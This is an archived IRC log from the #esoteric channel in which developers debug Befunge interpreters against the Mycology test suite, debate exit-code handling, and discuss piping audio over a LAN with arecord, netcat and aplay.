#esoteric :It quits right after the relevant output. < 1269559749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes < 1269559752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but what *should* happen < 1269559755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and what happens instead < 1269559758 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Run efunge. < 1269559778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why can't you just explain what in the file is wrong < 1269559780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1269559786 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Because I haven't checked. < 1269559793 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cfunge says BAD, efunge and ccbi don't -> not my problem. < 1269559802 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269559804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$ cat mycotmp0.tmp < 1269559804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :B < 1269559804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :C < 1269559808 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :gah < 1269559810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :irc ate a newline < 1269559815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there was a newline at the top < 1269559822 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :There should be an A there to start with. < 1269559827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269559838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, where does the A come from? < 1269559846 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what if it turns out befunge is just a big waste of you people's time? < 1269559850 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can see the area being printed if you grep for "|A |" < 1269559855 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and it never gets you a job or anything < 1269559862 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I'd be surprised if it turns out it isn't < 1269559871 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It may've already got me a job or three < 1269559879 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269559886 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Who knows if it really made a difference, but it did come up in the interview. < 1269559887 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, there is no C there < 1269559892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so where does the C come from? < 1269559894 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269559896 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes there is. < 1269559918 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, B NC? < 1269559922 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck is that < 1269559936 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ASCII too advanced for you? :-P < 1269559941 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The N gets overwritten with a newline < 1269559944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1269559959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, should there be a space after the B? < 1269559963 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269559968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not in text mode < 1269559971 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :should be stripped < 1269559972 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, er, depends on what you mean < 1269559973 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't it? < 1269559980 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's UNDEF and noted in the output < 1269559989 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I can make a good case for it both being stripped and for it staying there < 1269559999 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's UNDEF and noted in the output < 1269560001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269560020 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I was considering requiring stripping but I got lazy. < 1269560025 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, also something is fishy with the y test: < 1269560030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : That the greatest point, relative to that point, is ( 183 177 ) < 1269560031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :BAD: should have been ( 183 911 ) < 1269560041 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that seems improbably to be a cfunge bug < 1269560047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :improbable* < 1269560055 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Surprise! If I give only the first 200 lines of Mycology the y test complains that it doesn't have all of it < 1269560080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, however since you told me before one should fix the first bug first I really should fix it first ;P < 1269560085 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(nah not really) < 1269560095 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Go ahead, fill the file with nonsense if you want :-P < 1269560099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1269560116 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Just add "x\n" 734 times... < 1269560122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asdjfILHGWAIUhpwoaiuehföaokshf sfasdga asgf8395ansjsahflkajhelkfhsTo be an infinite number of apes or not to befjahslkjr2a < 1269560136 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That works too, just don't go over 180 columns. < 1269560140 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269560170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what is "A\nB[ ]\nC[\n]" used for? < 1269560178 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nothing, it's a comment. < 1269560180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269560225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, interesting ><>p on the line below it < 1269560231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now why do you want that!? < 1269560242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :do you test t there or something < 1269560245 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's part of the concurrency testing. < 1269560249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269560284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nice "radiator" string btw. < 1269560296 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Radiator? < 1269560308 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that <<<<<<<<< stuff? :-P < 1269560311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, think a hot water radiator < 1269560313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it goes like < 1269560317 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1269560318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :> v < 1269560322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :v < < 1269560324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :> v < 1269560325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :v < < 1269560326 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1269560330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so that bit is what I meant < 1269560337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what was the <<<<<< bit then? < 1269560350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is a bit strange too < 1269560362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :waste of cycles < 1269560362 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's overkill error testing for ] with a noncardinal delta < 1269560376 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well you have it elsewhere too < 1269560383 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I reappropriated that block of code within it (which used to be all <<<<<<<<) for this stuff < 1269560386 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :>"$"$>>>>>>>> < 1269560387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for example < 1269560394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which seems weird < 1269560398 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's concurrency testing again. < 1269560401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269560410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, all around the file stuff? < 1269560413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :seems somewhat messy < 1269560416 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, immediately after. < 1269560418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to not keep them separated < 1269560450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, physically in the file the |A | thing is the line *after* it < 1269560453 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But because you made the annoying realization that o in text mode can be tested, I had to add that somewhere, so now it's a bit more confusing that way. < 1269560461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269560469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :stupid me < 1269560475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at the source
< 1269560476 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it's all your fault. < 1269560502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you didn't *have* to test it though < 1269560508 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes I did :-P < 1269560525 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1269560586 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Network audio cross-platform seems to be a horrible mess; the ones I know about on Linux are JACK's rather kludgy-looking "netjack" thing, and Pulseaudio's (which is pretty popular) network server support. Oh, and ESD does audio-over-network, too, but I doubt that's used very much nowadays. < 1269560602 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Pulse's networking might be the best bet if your system uses that already. < 1269560619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Fungespace (105,148) to (109,150) follows: < 1269560620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :A | < 1269560620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :B < 1269560620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :C| < 1269560621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1269560624 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1269560631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't escape newline < 1269560655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I have pulseaudio on one system, plain ALSA with "jack when required" on the other < 1269560667 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Surely the memory can be increased < 1269560675 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although architecture issues are probably significant < 1269560676 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm what about http://alsa.opensrc.org/index.php/Network < 1269560763 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :after a while (depending on the speed of your computer, it could easily be half an hour) < 1269560766 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Bleh < 1269560769 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, yes, alsa's pretty flexibly configurable too, it sounds reasonable that you could hack some arecord-netcat-aplay plumbing, but it does sound a bit messy. < 1269560779 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But then, that was written some time ago, presumably < 1269560791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to make sense of his code for text file mode
< 1269560827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ssize_t lastspace = (ssize_t)size->x; ???? < 1269560840 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: output audio | ssh host dd of=/dev/dsp ;-) < 1269560851 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I think JACK's netjack is at least somewhat latency-optimized, though obviously networking is horribly slow compared to anything else. Though I guess netcat's UDP mode is not such a horribly bad idea either. < 1269560861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm < 1269560870 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, would use it for games < 1269560883 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Of course no authentication or any fancy negotiation there; if you have that "nc -u -l -p 8100 | aplay" running, it basically means that any UDP packets that come to that port come out of your speakers directly. < 1269560888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, wesnoth or widelands or whatever < 1269560903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, anyway I'm on a trusted lan basically < 1269560990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh what the heck did that logic do < 1269560995 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that's for playback, but how you get apps to send the audio as UDP packets? < 1269560998 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you want it only now and then, I guess that "arecord to capture what would come out" + nc + aplay solution is not too bad. I wouldn't keep that thing running all the time. < 1269561026 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: "arecord -t wav -f cd | nc -u server port" is what they used there. < 1269561031 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269561034 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay I think that test is broken < 1269561061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so I know the cause of the bug, but I have absolutely no clue how to fix it yet < 1269561068 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1269561071 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's the cause, then < 1269561080 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: (You just need to set the capture source to "mixer" so that it captures what would go out locally.) < 1269561091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, one or several off by one errors in the code that strips spaces from the end of each line < 1269561109 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269561112 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, problem is that when I "fix" it, it breaks the logic elsewhere < 1269561134 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I can atm get right for either multi-char lines or for single-char lines < 1269561137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure why < 1269561175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, btw, doesn't the spec say there shouldn't be any EOL? < 1269561178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at the end < 1269561184 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or do I misremember < 1269561222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, should it strip empty lines? I don < 1269561225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't* remember < 1269561249 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'm willing to read that as "any extra EOLs"; it's a UNIX convention that newlines are line terminators, not line separators, after all. < 1269561264 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess netcat's UDP mode will at least make small enough UDP packets that they are less than the MTU, so you won't get that much lag out of that particular bit; given 1500 or so bytes, that's just 375 samples (< 10 ms) of 44.1kHz 16-bit stereo. It's anyone's guess how much arecord will buffer before doing any write()s, of course. < 1269561270 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And no, it shouldn't strip empty lines. < 1269561274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, right < 1269561289 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm? < 1269561295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh I see what you mean < 1269561296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269561311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I think cfunge strips all of them, I don't know if efunge strips all < 1269561369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, 16-bits only? :/ < 1269561402 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Evidently it does. < 1269561433 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, you can push anything through that, of course. I was just calculating those numbers based on what they used ("-f cd"). < 1269561522 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, pushing fix, cache effects might apply < 1269561571 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Hang on, I think there might be an efunge bug here too (or CCBI) < 1269561587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ? < 1269561609 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm not qualified to guesstimate the lag, but I don't think arecord's been designed to minimize the time taken before the input sound is output into the "file". There's some --buffer-time option there, not sure how much that is related to writing. < 1269561629 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :DEAD DOVE < 1269561631 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :DO NOT EAT < 1269561651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm < 1269561672 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's a low-effort thing to try out, though, given that it's just two commands basically, and a single mixer change. < 1269561674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, would be a PITA to change system a to use jack or system b to use pulseaudio though < 1269561675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269561710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well what is the bug then? < 1269561717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I fixed this off by one error here < 1269561720 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, it could work. And if it doesn't work out of the box, you might be able to use those arecord command line flags to make it better. < 1269561727 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I might be going to sleep soon < 1269561748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, waiting for Deewiant to describe the bug first < 1269561767 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: While I'm verifying this: are you going to do anything about the negative argument to q with efunge? < 1269561779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what does efunge do with that? < 1269561782 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm interested < 1269561787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but haven't tested yet < 1269561787 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(no error logger present) error: "Error in process <0.0.0> with exit value: {badarg,[{erlang,halt,[-34]},{init,do_stop,2}]}\n" < 1269561798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I argue that it is probably undefined < 1269561805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that I might or might not do anything about it < 1269561812 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I argue that such behaviour is a pain in the butt ;-P < 1269561827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I argue that no one sane would use a negative argument to q < 1269561839 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since, well, it is unlikely to be useful < 1269561840 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It can happen by accident < 1269561844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the OS won't support it < 1269561850 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, then the user finds it easily < 1269561851 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And of course it's done on purpose as well < 1269561856 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :People do "return -1" and the like < 1269561856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh? < 1269561859 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Even in C < 1269561861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not to an OS < 1269561873 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's equivalent < 1269561878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what am I supposed to do with it? take absolute value? < 1269561885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is about the only thing I'm prepared to do < 1269561900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not going to emulated unsigned 8 bit < 1269561901 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Presumably the docs will say what range of values it should take, and most likely the correct solution is mod 256 or something < 1269561913 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, mod 256 will yeild -1 < 1269561914 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269561917 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well it is rem < 1269561944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : stop(Status) -> void() < 1269561944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Types Status = int()>=0 | string() < 1269561945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw < 1269561947 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Ah, I figured out why ALSA wasn't working: user 'Ilari' was not member of apporiate group. :-/ < 1269561948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from erlang docs < 1269561976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what I can do is: leave it as it is, take absolute value, truncate it to 0 < 1269561999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, unless you can point me to where in the 98 specs it says I should take modulo and mess around with emulating unsigned 8 bit < 1269562005 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :o.O There's only one actual instruction in the Wireworld Computer? < 1269562021 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm just saying that getting an error which I can't even ^C out of easily is a pain in the ass < 1269562026 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My recommendation is absolute value < 1269562030 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, doube ^C works < 1269562033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :most likely < 1269562054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ^C in general doesn't work the way you prefer in erlang I suspect < 1269562215 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Verified that other issue: Mycology bug, not interpreter. < 1269562238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, arguably the negative argument to q *is* undefined though. And silently ignoring that is doing more bad than good < 1269562255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, causing possibly hard to debug issues < 1269562274 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think that when you're doing q you're at the point where you just want to quit and don't care about errors :-P < 1269562313 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Even Java's System.exit doesn't throw InvalidParameterException ;-P < 1269562324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well what if someone implements /usr/bin/test in befunge? < 1269562331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then you *care* about exit code < 1269562349 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, and you should be careful to get it right < 1269562357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, indeed < 1269562363 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But that's a bad example since it's really trivial: 0 or 1 < 1269562369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then you don't want your system to silently swallow the error code < 1269562374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, okay what about fsck then < 1269562380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that has highly complicated error codes iirc < 1269562381 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't know ~anything about fsck. < 1269562395 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you're writing fsck in Befunge you have other problems ;-P < 1269562410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, "The exit code returned by fsck is the sum of the following conditions: " < 1269562411 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but < 1269562420 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :basically a bitmask < 1269562435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :considering the values are 1 2 4 8 and so on < 1269562570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway I think truncating to 0 is more DS9K and thus should be preferred < 1269562601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(arguably efunge does have some DS9K traits, such as bignum in a language where that is not common) < 1269562608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(it used to have i without o) < 1269562643 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269562717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, btw does ccbi run on vxworks? < 1269562722 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :vxworks? < 1269562725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269562727 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's that < 1269562740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/VxWorks < 1269562805 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The libraries it depends on don't < 1269562827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, iirc there is a (commerical only(?)) port of erlang to it < 1269562841 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't know if efunge would run of it though < 1269562989 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway it is likely some embedded controllers around you run vxworks < 1269563177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I *might* make efunge print a warning for negative parameters < 1269563178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or such < 1269563211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, perhaps clear screen, print drawing, enter line drawing mode, exit(0)? < 1269563212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1269563230 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :>_< < 1269563295 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269563306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, or, maybe we should block everything but SIGKILL? and if root mount an nfs mount, launch a DDoS on the server, and then try to read something from it < 1269563331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(that will put it in uninterpretable sleep) < 1269563335 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If efunge does that I'll disqualify it from Mycology results ;-P < 1269563356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, haha < 1269563454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, pushed behaviour change for efunge < 1269563479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cache effects might apply < 1269563554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I can't do the http://alsa.opensrc.org/index.php/Network stuff < 1269563560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is no capture source control < 1269563564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on the system I want to forward from < 1269563577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is only on the system I want to forward to < 1269563678 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's curious. Though the mixer controls are horribly divergent across systems. < 1269563842 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You should be able to do some .asoundrc trickery, though. < 1269563904 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's this "loopback soundcard" alsa module, 